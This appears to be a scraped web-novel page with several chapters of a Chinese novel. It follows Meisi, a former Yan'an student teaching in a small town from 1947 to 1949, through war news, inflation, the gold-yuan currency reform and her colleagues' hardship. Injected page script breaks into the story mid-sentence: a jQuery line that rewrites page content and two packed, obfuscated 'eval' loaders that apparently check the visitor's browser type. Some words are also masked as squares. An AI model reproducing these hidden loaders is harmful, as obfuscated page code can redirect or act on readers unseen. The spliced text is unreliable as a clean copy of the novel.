$(''.inform'').remove(); $(''#content'').append('' 礼;见同学,问个好;不要吵,不要闹,拿出课本上课了。” 到了下课的时候,有学生缠住她问:“先生先生,共产党会打到我们这里吗?” 梅思有些惘然地说:“不知道。” 那个小女生撅起嘴:“先生也有不知道的事情啊!” 梅思想了想,笑着问:“璐英,那么你是希望共产党过来,还是希望他们不要来呢?” 璐英也很是迷惘:“我不知道啊!只是妈妈爸爸都很担忧呢,说如果共产党来了,不知道会怎么样,我在旁边听到了,便要问,问得多了,她们就烦,就让我来学校问先生,可是先生也不知道呢。” 梅思本来想说,“未必会比现在更坏”,不过她想了一下自己如今所处的环境,便说道:“这些事情由大人来处理,你这样小的年纪,先认真读书要紧。明天的功课有预先学习了没有?” 璐英很是自信:“有!我已经能背下来了,先生你听我背书,‘同学们都坐下,先生来问话;放年假,订计划,订了计划要检查,那些事,做到了,大家今天想一下。’先生,我背得对不对?” 梅思笑着摸了摸她的头,道:“背得很对,这样很好,继续努力哦!” 差不多整个二月,国共双方都在山东打仗,到了二月下旬,国军在莱芜大败,这一回梅思知道了,桂军的整编四十六师差不多全军覆没,钟坤之前说要调动,不知是不是调入了这个师,那可是极为危险的,梅思并不是为国民政府担忧,她只是忧虑钟坤的安危。 因为国军连连遭到惨痛的失败,以至于起初坚信国民政府能赢的张宏远也开始悲观,在办公室里对着一群同僚哀叹:“都是美械呢,怎么就败了?难道中国真的要全给染成红色?” 这个时候梅思便说:“宏远,吃一颗鸭蛋吧,我这次买了好咸蛋,大家每人一颗尝一尝。” 刘慧坚的精神勉强提了起来,戏谑道:“共产共产!” 教公民训练课的孟修身佝偻着脊背,擦着眼镜说道:“若是共产党来了,只怕真的要把我们都共产了。” 然而时局真是变幻莫测,到了三月中旬,国民政府这边陡然兴奋起来,报纸上连篇累牍,无线电里也整天说着,“国军占领了延安!” 此时便是梅思惘然若有所思,她想起了延安的宝塔山,清凉山,机关合作社,还有城里已经荒废的西北旅社。 四月五号,在夏历是清明节,国民政府规定这一天也是植树节,各个学校放假,偏巧第二天便是礼拜天,刚好两天连休,寄宿舍里的另外三个人便都出去游玩,龙王庙里又是只剩下梅思一个人。 傍晚的时候,梅思从溪边归来,手里提了几条鱼,虽然只是小鲫鱼,但先用油炸,再多加醋来焖烧,焖得久一些,便连骨都可以吃掉,一条鱼的鱼刺鱼骨都不须废弃,实在很是经济,尤其在战争的时代,容不得任何物资的浪费。 篝火点起来,饭盒放在了火上,小鱼已经炸过,此时正在油醋汤里面炖,酱油和醋调制的汤汁,一个小时之后,小鲫鱼终于烧好了,汤汁也将收尽,留在饭盒底只有一点点浓汁,梅思用小煎锅加热了米饭,便开始吃这一天的晚餐。 已经焖了这样久,鱼骨全酥烂了,牙齿稍稍用力咬下去,便都碎了,梅思吃着那清清溪水里的小鲫鱼,忽然想到了女大门前的延河,延河的鱼啊,真的是鲜美,在陕北许多地方是吃不到鱼的,唯独在延河边,偶尔可以尝到鱼的味道。 这个时候,月亮渐渐升了上来,望着夜空中那一轮几乎是全满的圆月,梅思想到了延安的月色,黄土高原虽然虽然显得荒凉,但天气多数晴朗,特别的晴朗,桂林春夏的连雨天,终日绵绵细雨,整天不见太阳,望向窗外便感到心情压抑,然而在延安,少有这样的情形,延安的天啊,总是一丝云彩都没有,那一种晴明灿烂简直逼人,让人想要郁闷都郁闷不得。 这样的天气到了晚上,便显得月白风清,延安的月是皓白的,一片白亮亮的光照着大地,这样的月光之下,在延河边散布谈心,别有一种浪漫。 梅思正在回想着延安,忽然间不知怎么,林间的夜鸟鸣叫了起来,叫声十分婉转,是画眉,从前在家中,母亲也养了两只画眉,因此自己对这种叫声很是熟悉。 延安少见这样精致的林鸟,在那里多的是乌鸦与麻雀,每到秋日的黄昏,一群乌鸦从古城头掠过,黑压压一片,空中传来响亮的聒噪声,很有古诗词的意境,尤其让人想起马致远的散曲,即使是那样热烈的革命情怀,面对着如此寒鸦,也让人难免感觉萧瑟。 冬季里则是麻雀更加令人印象深刻,雪地里一个个散落啄食,毛绒绒的许多团,看到了麻雀,便感觉天气仿佛更冷了。 啊,延安。 43.第四十三章 古庙寄宿舍阅读石评梅 第四十三章 古庙寄宿舍阅读石评梅 五月里,国共双方在孟良崮的战斗结束,国军损失了整编七十四师这个全美械师,十一月,石家庄归属了中共,这是内战以来,第一个由中共占领的大城市,想来延安那边自然是欢天喜地,然而国民政府这边,实在是莫大的打击。 钟坤一直都没有信来,梅思发现,自己对他的思念居然与日俱增,空闲的时候,有时就会拿出那一张小小的照片来看,心内猜测着,他如今是到了哪里? 一九四八年的春节是在二月,不能与寒假连休,便只是初一到初三连续三天休假,二月十三号重新开课,而寄宿舍里从二月九号除夕的晚上,就只剩下梅思与张宏远,张宏远家乡实在遥远,短短几天假,他也不想在朋友家长住,所以这三天便是白天出门寻访朋友,下午三四点钟回来,到梅思这里来略坐片刻,喝喝茶,顺便聊聊天,每次来了,必然是唉声叹气。 二月十二号这一天的下午,张宏远又来敲梅思的门,梅思开了门,一看是他,便笑道:“快请进,已经准备好了茶点。” 张宏远一笑:“又要沾你的光了。” 梅思道:“大家同事,何必客气。” 张宏远进门,坐在凳子上,自己涮了杯子,便给两个人都倒了茶。 梅思坐在另一张凳子上,本来只有一张木凳,之前张宏远送了两只凳子来,如今便有了三只方凳,来人待客很方便了,另有几只碗碟,是李秀第与朱光屏送的,所以如今梅思在这里,居然备了小小的家当。 张宏远喝了几口水,便开始抱怨:“这日子也不知什么时候是个尽头,国民政府接二连三地败,中共一步一步地进,如今虽然还占着延安,然而看着也不很顶用的样子,没耽搁了共产党一胜再胜,再这样下去,政府就要退到海上去了。” 梅思道:“这些国家大事,反正不是我们管得了的,纵然共产党来了,他们反正就只是要土改,我们都是没有什么财产的人,怎么改也改不到我们头上,那些有钱人才怕,我们怕什么?” 许多人都知道的,解放军——就是当年的八路红军——到了哪里,哪里就要施行土地改革,分了地主的田地给贫雇农,日常在办公室里,大家也会讨论这些事,只是共产党在城市里会怎样,还不太清楚,□□们都不很了解如今石家庄的情形。 张宏远苦笑道:“是么,但凡家里有些产业的,也不至于落到这里当穷□□,真的是‘两袖清风’,眼看就要喝西北风了,每个月的薪水能买到的东西,一天比一天少。我们这些公教人员,说起来也是政府的人,然而却半点得不着政府的荫蔽,落得如此光景,如今的薪金已经打到七折了。” 所以操心那些国家大事做什么呢?眼下自己已经快吃不上饭了,张宏远有时实在恼起来,便赌气要想,什么国民党共产党,和自己究竟有什么关系?饿着肚皮,谁耐烦管他们什么共产主义,又是三民主义,孰是孰非? 梅思慢慢地说:“各处都是一样,桂林也是如此,大家打趣,如今都吃不起辣椒酱。” 就在过年前,接到吴美霞的来信,信里提到桂林物价飞涨,人们都在说,这仗倘若再打一年两年,便都不要活了。 而母亲的信则是更让人心塞,母亲愤愤地和自己讲,就在去年年底,黄老爷又娶了一房小妾,真是造孽,才十四岁的女孩子,逃难到这里,实在走投无路,家里就把她卖了当小老婆,当了黄老爷的五姨太,“半截身子都已经入了土,还要这样糟蹋人,那孩子足足可以当他的孙女,也不怕上天报应”,这是母亲信里面的原话。 两个人闲聊一阵,张宏远渐渐地觉得没意思,都是让人愁苦的话题,正想告辞离开,忽然外面一阵噔噔噔的脚步声,接着便有人大力拍门:“梅思,快开门,我给你带好东西来!” 梅思听到是李秀第的声音,忙开了门,睁大眼睛问道:“是什么是什么?” 李秀第把一摞本子往她怀里一塞:“我姐夫的店关张大吉,我看这些旧账簿他不肯要了,便拿来给你,我记得你是说过,喜欢拿这些旧本子记些东西。” 然后李秀第往里面一探头,咧开了嘴:“啊呀宏远,你也在,啊哟还有饼吃,我刚好肚子饿,让我也来尝一块。” 进门洗了手,便用筷子夹饼来吃。 梅思听说她姐夫家中发生变故,一边抱着账簿进来,放在床上,一边则是连忙问道:“啊呀,我记得你姐夫的店面,从前蛮兴旺的。” 李秀第的姐夫开了一个杂货铺,之前生意一直不错,所以她在这里当□□虽然薪资不高,因为有姐姐和姐夫照应,不时地津贴她,所以日子倒是过得颇有滋味,只是如今,姐夫的生意倒了。 李秀第放下筷子,两手一拍:“可不是么,以前倒是还能行,可是自从和共产党开打,整天这个捐那个捐,况且钱又是越来越不顶用,若是收法币呢,早上收进来,晚上便赔了钱,倘若只收银元银角子,给政府知道,又要说不信任法币,捣乱市场,所以姐夫和姐姐一商量,既然做一天赔一天,不如索性收了铺子不做,倒是还能少赔一点,这也算是急流勇退了,像是隔壁布料行,借钱开张,到了年底债主堵门讨债,才更是惨,她们好歹还剩有本钱在手,如今就先收起来,等将来情势好了,再开门也来得及。” 听了她这一番话,梅思忧从心头起,张宏远也是目瞪口呆,李秀第停了口之后,他足足静默了五秒钟,这才终于找出话来说:“秀第啊,真亏你如今还笑得出来。” 关门不营业,倒是能够保本,只是从此便也没了收入,然而每日的柴米油盐还是要花费,这就是“坐吃山空”,哪怕金山银山,长此以往也要用干净了,尤其是心里的那种感觉,很是恐慌。 李秀第笑了一笑:“不然又能怎么样呢?就算愁眉苦脸,反正也是没用。” 话说到这里,更是没得说了,三个人没味道地又谈了几句,便散了。 春节之后不多久,冯茹便走了,是随着丈夫去了北平,她离开之后,常识课便由梅思来代,梅思问庄令粲:“校长,什么时候新的先生会来?” 庄令粲看了她一眼:“大约不会来了,现在各处都是缩编。” 于是梅思明白了,当年延安的经济极端困难,所以精兵简政,如今国民政府这边也是如此,到处裁人,又或者是如果有人去职,便不再补充,自己这一个代任,便是长久的了。 庄令粲望着她,又说:“梅花茶很好喝,谢谢你。” 从此,梅思便兼任常识课的教学,薪水却没有增加,她倒是并不抱怨,这原是意料中的事,事实上这个时候冯茹辞掉职位,同事们都很感到意外,这种时局,职业难觅,若不是有十分的把握,想来不会离开,而想要学校请人填补这个位置,则是难上加难,县里面巴不得走掉一个是一个,便可以少开一份薪水,这样就少一笔支出了。 到了七月,又是暑假,寄宿舍里面一片静悄悄,这一个午后,梅思午睡醒来,听到外面淅淅沥沥的水滴声,原来不知什么时候,已经下起雨来。 因为是雨天,日色昏暗,梅思在床上又躺了一会儿,便起身点起电灯来,看了一下怀表,三点多钟,这个时候烧饭太早了一点,白白地坐着也有些无聊,便顺手从枕边的几册书中抽了一本来看。 是石评梅的散文,梅思随便地翻着,虽然是有名的才女,不过并不是很对她的胃口,太过凄楚伤恸,就只在个人的情感之中打转,若是在延安,她写这样的文章,只怕难以给人接受,太局限于小我的感情,没有看到大的形势,更没有投入到火热的革命斗争之中,像是这种小资产阶级的脆弱与伤感,在严峻的社会生活斗争之中,是注定要失败的。 虽然已经远离了革命,不过梅思对石评梅的文,依然是没有太多感觉,太伤感了,而且翻来覆去,翻来覆去地说,文笔倒是很精致优美,在梅思看来,石评梅是难以像丁玲那样,轰轰烈烈地去革命,却也不能淡去那高远的理想,从凡常的生活中品尝出滋味来,她就是夹在了中间,这倒是也难怪她,在石评梅那个时代,是没有一个延安可以让她向往的,不顾一切地投入。 不过今天,梅思读着石评梅的文章,倒是觉得有了一点味道,前面一篇《红粉骷髅》,是议论女子的解放,以为无论阔太太娇小姐,还是贫苦的女子,其实都是一样沉沦,对于这一类意见,梅思如今不是很热衷了,草草读了便翻过去,下一篇是《狂风暴雨之夜》,开篇便是说友人死了,自己病了。 梅思如今最是怕读这样凄凉的文字,太压抑了,她现在只想轻松一些,虽然在这西厢房住了两年,却绝不想出演一部凄风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“广寒宫”那种带着冷意的优美,虽然意境很是超脱,不过梅思更愿意把月宫想象成水晶宫,晶莹剔透,却不带那样的寒气丝丝,桂树是好的,花朵可以做糖桂花,汤圆里放一点做馅料是极香的,在千万年的桂树下,用桂木的枝条煮桂花汤圆,实在是很有意思的,那样高挂在空中的宫阙,其实也有凡尘的乐趣。 有时候梅思在院子里溜达,想这想那,忽然间回到眼前现实,不由得便要笑起来,现在的自己,是很能够欣赏生活的了,在这样的地方也看出美来。 只是雨声滴答,终究能引发人的幽思,梅思手里握着书卷,蓦地便想到母亲的上一封书信,说起家里的事,依然是恼恨:“自从国民政府从延安退了出来,便好像失了魂一般,新姨太也不理了,阿弥陀佛,那孩子倒是少受些罪。” 这是说的黄家的掌权者,黄老爷可想而知,看到国军败退,丢失了极具象征意义的延安,便如同给妖怪吸干了精气,定然是惶惶然不可终日了。 国军是四月撤出了延安,那个时候刚好春假结束,每年的四月,是有四天的春假,今年是从四月十七号开始放假,中间有一个礼拜天,连起来便是五天假,四月二十二号重新开课,午间听人说起新闻,报纸上刚刚登出的,国军已经退出延安,梅思便知道,国民政府的局势更加不利了,而这件事对黄老爷的影响便是,唯一的心理慰藉也不存在了,难怪一下子便如同老了十年,原本的黄老爷,身体何其的强健,如同一块岩石,后来母亲写信来,说整个人都失了精神,如同一座破庙,垮塌了许多,岁月的痕迹再不肯放过他。 梅思怔怔地望着窗外,忽然间一首歌回荡在脑海: “夕阳辉耀着山头的塔影, 月色映照着河边的流萤, 春风吹遍了坦平的原野, 群山结成了坚固的围屏。 哦!延安, 你这庄严雄伟的古城……” 延安颂,这一首歌当年是多么的熟悉,随口就会哼唱出来,延安颂,已经深深地刻入了自己的头脑和自己的心,即使因为那样痛切的经历而离开了她,也依然会不时忆起。 而如今,延安的力量已经发展壮大至此,或者终于会胜利了,延安的曙光,也许就在不远处,许多人奋斗了多年的理想,付出了无数牺牲的事业,可以开花结果了,此时此刻身在延安的人,大概会很感觉欣慰吧?梅思一个个去想自己熟识的人,张朝旭、潘岳荣、熊晖、胡瑾、焦文俊……现在都还好吗?她们如今正在一步步走入历史,而自己则是在历史之外。 44.第四十四章 英雄逝去,柴米油盐 第四十四章 英雄逝去,柴米油盐 八月十八日,梅思收拾心情,正准备暑假之后重新去学校——假期啊,总是过得飞快,即使是如此悠长的暑期假日,也转瞬就到了尽头——然而就在这一天,市面上轰轰然骚动,从明天起,法币没用了,政府让大家都用金圆券。 梅思搜寻了一下头脑中残存的政治经济学知识,一时也想不出换了金圆券之后,经济会怎么样,她只是知道,法币是实在用不下去了,当今的物价简直要涨到天上去。 因为所知实在有限,梅思便也不肯耗费脑力,殚精竭虑地去想,这个消息只在头脑中略停了片刻,便抛开不肯再想,打开书本,开始准备功课。 梅思是“两耳不闻窗外事”,然而有人却一定要用这件事来触动她,上午十点多,她正在那里默想开学第一课要怎样讲,忽然便有人拍门:“梅思!梅思!” 是李秀第的声音,等她开门一看,却见朱光屏和张宏远也都在门前,各个愁眉苦脸。 “啊,快请进,来喝一杯茶吧,刚好聊聊天。” 李秀第蹙眉道:“这种时候,你还有心思聊天哩!” 梅思笑道:“怎么了?” 张宏远抢着道:“梅思啊,莫非你没有听见?要我们把手里的银元都兑成金圆券哩!” 梅思道:“不管怎么样,先进来喝杯水再说。” 四个人都挤进了她的小房间,两年时间形成了一个习惯,梅思的房间是大家日常聚会的地方,梅思性情和悦,自然是个合适的东道主,更重要的是,她总有些茶食可以招待,比如蜂蜜梅子,或者是酥烤蘑菇,这样的小食配上梅花茶水,很能够消磨闲暇时间,聊天愉悦内心,茶食则抚慰肠胃,只不过这一阵,蜜渍梅子不是很受大家的欢迎,“越吃越饿”,倒是酥脆的蘑菇更得人心。 几个人坐下之后,梅思便点燃风炉,开始煮茶,那三人便你一言我一语地说起来: “说是但凡金银美元,都不准私人持有呢,要大家都换金圆券,我这心里怎么这么不稳呢?” “我们是不够格收藏金条的,美钞也是没有的,不过银元么,多少有几枚,都要交上去么?这不是刮尽了我们的老底?” “不缴也不行啊,倘若是给人看到手里有,要没收哩,到那时便一个大子都不是自己的了,拿去兑金圆券,多少能剩一点渣渣在手。” “哎呀梅思,你打算怎样做?看看你,还稳稳当当地哩,仿佛事不关己,难道真能关起门来做神仙么?” 梅思目光幽幽地望着茶壶:“我没有钱!” 那三个人登时都有些发愣,李秀第脱口便道:“怎么可能?咱们这几个人,数你最会存钱!” 朱光屏暗自点头,李秀第说的,正是自己心里想的,虽然彼此很少谈论家底,不过朱光屏是个精细的人,她旁观几个人的财政,得出了和李秀第相同的结论。 四个人的薪水相差不多,梅思顶擅长节俭,没有在外面包饭,三餐都是自己在寄宿舍中料理,有的时候便看到她在外面拾柴,古庙虽然日久荒芜,然而野草长得茂盛,晒干都可以烧火做饭,只是在自炊这一项上面,梅思便可以省下一小笔钱来,虽然不多,但禁不住天长日久,终究是得以积聚。 更绝妙的是,梅思居然在寺庙中开辟了一小片菜田,种满了青瓜紫茄小白菜,甚至还养了两只母鸡,就让它们在院子里啄食草籽小虫,偶尔有一点碎米,便喂给它们,因此那两只鸡虽然不很肥壮,倒也能下蛋哩,这样梅思便不必在外面买鸡蛋,甚至米价若是贵了,她便干脆吃水煮马铃薯来当饭,这样不须买米,也能过得下来。 就算是这样的节俭,她还嫌不足,有一次大家谈天,说到牛奶糖,她两眼望着窗外便发出浩叹:“真可惜这里的土地不很宽广,否则很可以养两只羊。” 当时几个人都听得呆住了,自己是想起了严监生,张宏远则是想到了葛朗台,这里在旁人看着是荒刹古庙,在梅思手里,俨然经营成了一个小庄园,像是旧小说中才女的伤春悲秋,她是少有的,有时间还在草丛里摸鸡蛋呢,有一只鸡总是乱下蛋,惹得她有时候就要骂:“丢三落四!把自己下的蛋都不知丢到哪里去,倘若是当□□呢,只怕连课本都弄没了。” 像是梅思这样的克勤克俭,着实是惨淡经营,日常花费有限,每月所需,不过油盐电费而已,每次发了薪水,若是法币,便赶快去兑换成银元保存起来,住的房子又不必花钱,朱光屏有时候灯下掰着手指替她算,每个月怎样也能积蓄四五块银元,此时她说没有银币,怎么可能呢?像是其她三个人,金圆券的风浪之下倒还罢了,纵然损失也有限,唯独梅思,那才叫伤筋动骨,一口血都要吐出来,哪知如今她竟然说没钱? 此时张宏远也是说:“梅思啊,我们都是知己的朋友,你也不要和我们打哑谜,你到底打算怎样办?” 梅思仍然是稳稳地坐在那里不动:“不怎样办,我反正是没有钱,若是要没收呢,就尽管让他们来这里看,搜一搜哪个砖缝里藏着钱。” 都在梅林里,有本事就去翻出来吧。 当年在抗战时期,虽然感情上更倾向于延安,但对于政府的号召,梅思也是毫不含糊,要捐款就捐款,要出力就出力,每个月赚来的银元,没剩下几个,要说全部捐出,她还没有那样的觉悟,毕竟自己万里有一也需要钱,况且还有亲人那边,可是大部分也都捐了,可是现在是内战,虽然对于政治已经淡薄了,不曾在江陵为延安搞策反,不过梅思对于国民政府种种续命的法子,也并不在意,要她拿出自己存下的银元,是办不到的。 虽然梅思是这样的意见,可是并没有坚定那三个人的信心,自从金圆券的消息一出,每天都在犹豫煎熬之中,一会儿想着索性咬牙不兑换,一会儿又想着,自己这样私藏银元,倘若给查了出来,全部没收可怎样办?最怕的就是给当做经济犯,给抓到监狱里面去。 李秀第除了担忧自己,还有双份的哀愁:“我姐夫原本存了些家当,就靠着这些来保本,将来好再翻身,如今都要兑出去,整天在家里愁,本来他身体好好的,这一阵心口窝疼。” 梅思脑子里回顾往事,忽然头脑里一亮,便给她出了个主意:“不如都买成东西存着。” 李秀第冲着她惨然一笑:“梅思啊,我们能想到的办法,莫非当官的便想不到?已经说了不准囤积居奇,若是罪名厉害了,可能枪毙呢,你没看到报纸上说,大公子到了上海,警察到处搜查,看谁家有积存的东西不肯卖出来?宜昌虽然比不得上海十里洋场,全中国都盯着,可是也不算很小的地方,政府已经在说了,不准扰乱市场,谁若是藏着东西不出卖,查出来也要严惩呢,所以我姐姐姐夫整日发愁,若是遵从政府的法令,只怕马上就要破产,若是不听呢,可能要进监狱的,没准还会丢了命,大公子在上海滩,不是已经枪毙了人?” 蒋大公子经国,给委员长派去了上海坐镇,报纸上也看到他的举措,确实处死了一个大公司的经理,又抓了几个头面人物,上海顶豪富的名流只得交出大笔金银美钞,算是断臂求生吧,李秀第有时候替他们设想,早知如此,是不是早一点逃去美国比较好?凭他们的身家,在美国也能过得风光。 梅思这才想到这些,之前也曾听到过,怎么一时间就忘了?这可真的是四面围堵,让人无路可逃的。 朱光屏满脸哀愁:“九月三十号就要到了,到底要怎样办?实在拿不定主意。” 限令是最晚九月三十号,要将所有金银外币都兑成金圆券,这是最后的期限,倘若不肯执行,后果自负。 张宏远劝道:“大公子在上海,杀一儆百,着实杀伐决断,不同凡响,可能金圆券真的有用,就如同银元差不多,我们便是全都兑换了,损失可能也不会很大,总比万一查出来给没收了强。” 梅思是一副笃定从容的态度,她这样的镇定,自己也很是钦佩,可是张宏远矛盾了许久,终究做不到她那样,“背水一战”是很需要决心与勇气的,真要让自己这么死挺着,可真的是忐忑,倒是不如索性顺从了政府,都换了金圆券干净,那样的话,每晚睡觉也能安稳了。 看到她们不住地在挣扎,梅思一瞬间真想说出:“不如交给我,到风头过了,保证完璧归赵!” 不过终究没有说。 外间金圆券浪潮起起伏伏,梅思只是不理,每日依然是按时去学校,专心讲课,回来后便精心侍弄那一块菜田,“躲进小楼成一统”,空闲时候坐在树荫下,天气冷了便是移到了房间之内,盘腿坐在床头,抱着膝盖,打着拍子,声音朗朗地背诵: “峨峨东岳高,秀极冲青天。 岩中间虚宇,寂寞幽以玄。 非工复非匠,云构发自然。 器象尔何物?遂令我屡迁。 逝将宅斯宇,可以尽天年。” 李秀第看到她这个样子,便笑她道:“你在这里学诸葛亮哩,抱膝长啸,念《梁甫吟》。” 梅思咯咯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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之后在女大,有时候与□□谈论历史,才知道真实的周郎并不是像罗贯中写的那样,心眼窄,而是气度恢弘,程普摆革命老资格,很看不上年轻的周瑜,对待他很是傲慢,然而周瑜一直不与他计较,到后来程普也改变了看法,对人说与周瑜交往,“若饮醇醪,不觉自醉”,与周瑜关系非常好,“所以我们干革命工作,要学习周瑜,善于团结一切能够团结的人,这样才能扩大革命阵营,分化瓦解对方力量,所以统战工作是至关重要的。” 这两年每逢假日,尤其是寒暑假,静卧书斋,拾起了当年的兴趣,找了有关三国的野史来看,不过兴致却已经不同于从前,就只当做一段故事来看,有的时候梅思也想,如果是十年前,自己来到荆州,心情该是多么的激越,来到了古代群英闪耀的地方啊,简直城内每一块青砖都记录着英雄的业绩,让人浮想联翩,不由得便也激发了壮志,想要做一番英雄事业,即使好像诸葛亮那样,“出师未捷身先死”,也有一种悲壮,“星落秋风五丈原”,引发后人无尽的慨叹与景仰。 然而当自己在这个年纪到了这里,却已然是不同的心境,对英杰人物的憧憬依然保有,却已经没有那样激烈,空闲的时候,追索的往往不是千年前的风云际会,而是这里的物产,张宏远是心心念念千张扣肉,梅思对千张肉也很是向往,此外让她恋恋的还有鳝鱼和花糕,花糕其实就是鱼糕,用鱼肉糜做成,表面有红的黄的颜色,是用蛋黄汁和红汁敷染而成,很是好看,当初钟坤谈起荆州的名物,便说起鱼糕,自己来到江陵,果然尝到了,味道很是鲜美。 不知怎么又想到钟坤,梅思心头不由得便是一紧。 她赶快把念头转了开去,如今在荆州,自己对历史的追忆比预想的要少了许多,再仔细想一想,这一向自己连咏史诗都少读了,更多想的都是柴米油盐,凡俗的琐事,沉浸于烟火气之中。 梅思也发觉了自己如今的不同,想着这究竟是怎样的缘故?莫非是因为江陵这一个小小的县城,消磨了自己的意兴? 江陵啊,真的是一个小地方,新书新电影总是要落后于荆州市内,更不要说省府武汉,自己是从桂林来,有时候难免会觉得这里有点沉闷,要说是闭塞也不为过,总之就是有一种凝滞沉重的气息,对于梅思这样有一定知识的人来讲,容易发生一种“不断沉下去”的感觉。 不过梅思也去过荆州的,走在荆州的街上,她也曾发生过设想,假如自己是在荆州,会怎么样?还会激发当年的情怀么?她仔细想了一下,大约依然是不会吧,精神上会比在江陵活泼一些,不过从前那种慷慨壮烈的情绪,是难以重现了。 45.第四十五章 解放荆州 第四十五章 解放荆州 寒冬过尽,一九四九年的四月,吴美霞在桂林城中,接到了梅思的一封信,展开来一看,不由得蹙起眉头。 灯泡下,顾泰坐在藤椅上吸着烟,本来也是双眉紧皱,上个月的薪水还不知什么时候可以发放,一眼瞥见妻子面色有变,虽然本来心里不耐烦,却终究问了一句:“怎么了?” 吴美霞放下信,说:“梅表妹说,她们小学校有一位先生,饿昏了,倒在地上,给送回了家里,如今校长要她代公民课。” 顾泰第一个反应:“要她教这个课?那可是很为难咯。” 公民训练啊,清清正在读小学,学校里也有这门课程,就是讲三民主义,真是难为了一群小毛头,小小年纪,就要听先生念什么“民族民权民生”,让人不由得便想起了旧式私塾的《三字经》。 民国之后,教育改革,关于儿童教育,许多教育学家都有新的意见,学习欧美,比如杜威的学说,儿童中心,以为中国的旧教育对发展儿童的心性不利,那么小的孩子,让她们整天背《四书五经》,纵然背得下来,哪里能够懂得其中的意思?那么大的道理,八九岁的孩子理解得了吗?对于儿童,就应该顺应她们这个年纪的特点,教一些浅显的内容。 结果现在可是好,四书五经少读了,整天讲三民主义,要么就是党义,在顾泰看来,不过就是把儒家的学说换成了国民党的学说,照样灌输给孩子,一个个小小的学童,未来就是三青团,虽然自己是忠实的国民党员,不过顾泰总是觉得,这样的儿童教育未免僵化呆板,并不适合孩童。 不过此时,顾泰首先想到的是,那位校长这样的安排,不会觉得为难了梅思么?本来是出身延安啊,学的都是马列主义,还有毛先生的文章,如今却让她宣扬国民党的这一套理论,虽然梅思可能已经说不上对共产主义多么的坚贞,不过让她讲这个,终究是有点不够体谅了。 吴美霞道:“她倒是没提这个,只是说,如今课程更多了,薪水却不肯加,让人感觉有些辛苦。” 顾泰脸上的神情瞬间有些古怪,倒是现实了许多,想的首先是加钱不加钱的事情。 然后顾泰的念头一转:“各处都是一样,就在前几天,桂林也有□□因为饥饿而昏倒,竟然不幸亡故了,引得学生游行。” 四月十八号,桂林中学一千多名学生抬棺游行,因为她们的一位先生饿死了,引发了好大的新闻,舆论对当局相当不利,政府为此很是惊慌。 吴美霞也是唏嘘:“居然连□□都饿死了,在前清,私塾先生总有一碗饭可吃。” 顾泰看了她一眼,暗道这话可不能随便说,若给人家听到,显然便是反对政府。 于是顾泰转了个话题:“梅表妹在那边,日子还过得去吧?” 听他提到这个,吴美霞稍稍提起精神,强笑道:“她还是那样,种种菜养养鸡,虽然不宽裕,好在三餐可以应付。” 顾泰点了点头,默默地沉思片刻,感叹道:“你们从前拿盐梅作比方,我还道是口气有些大了,如今看来,她倒是颇有主张的。” 俨然便是古庙内的管仲,又或者是巴清更恰当一些,虽然不是富甲一方,为国家所重视,不过她能够在这样艰辛的乱世,维持住自己的生活,实在颇有一些头脑。 顾泰又推而广之,想到国家如今乱纷纷,自从战胜了日本,民众本来以为可以松一口气,能够好好地过日子了,哪知内战接续又来,弄得民不聊生,比起当年对抗日本,不知哪一个更艰难些,倘若那些拥有巨大力量、掌握许多人命运的人,也能够有这样的平淡态度,或许倒不至于太过乱起来。 吴美霞的回信送到江陵,已经是五月二十三号,礼拜一,梅思午间回到宿舍,拆开信来,美霞姐在开头说的是,“四月二十二号接到你的信,本来想要尽快回信,可是这一阵事务繁杂,竟然一直拖过了半个月,这才动笔……” 梅思约略算了一下日期,自己是四月七八号寄信出去,到那边差不多用了两周时间,如今的邮政啊,是越来越慢了,不过在这战火连天的时候,能够最终送达,没有中途丢失,已经是万分幸运。 梅思继续往下面看,美霞姐和顾先生都是对本校孟先生的遭遇表示同情与慰问,又说起桂林的情形,本来是广西数得着的好地方,如今也渐渐给消耗得只剩了骨架,甚至骨髓都已经将给熬干,就只留一副枯骨,一碰就碎,在二月里,电费都用米来计价了,一度电六斤米。 就因为这样,广西一些名流联名写了《和平意见书》,上呈给了李代总统,那是广西自己的人啊,希望他能够想些办法,赶快结束战争,其她地方是管不了了,先让广西这一片地方安稳些再说,真的不能再打了,继续打下去,广西就要糜烂了。 梅思仔仔细细将信读过一遍,足足五页纸,钢笔字密密麻麻,叙述了许多的事情,简直如同一部小小的史书,因为内容太过丰富,她读到末尾,又翻回第一页,重读了一遍,然后将这封信带进梅林中的窝棚,打开一口箱子,从里面拿出一个油纸包,里面是许多的信,梅思把这封信也放进去,用油纸又重新包好。 第二天,梅思照常去学校,午后三点多,学生们已经散学,一众□□们或是批改作业,或是讨论学生的成绩,梅思则是埋头改作文。 忽然间,张宏远说道:“唉,老孟回家休养这些天,也不知道怎样了。” 朱光屏说:“真想去看看他,那一天真是吓人,正站在这里,突然就倒下去了。” 刘慧坚皱眉道:“若是论同事的情谊呢,是很应该去探望他,只是我们前面两个月的薪水到现在还没有发,校长已经在四处找钱发薪,也不知什么时候能到手,实在是有心无力。” 她这几句话说得大家都唏嘘起来,冷雨虹连连摇头:“日子实在过不得,从前是八折,到现在已经打到五折,就这样还要拖欠。我们倒是比旁人好些,校长几次三番找县长,总算薪水发银元,也算是得了政府的照应,只要能发薪,心里总能安稳些,像是别人,每个月得了薪水,就赶快去银行换银元,又或者连夜跑黑市去买米,若是迟了一步,不是银元兑不到,就是米价又涨了,简直眨眼就是另一个价钱,迟了片刻都可能有莫大的损失,我们不用连夜排队兑银元,居然还是莫大的便宜。” 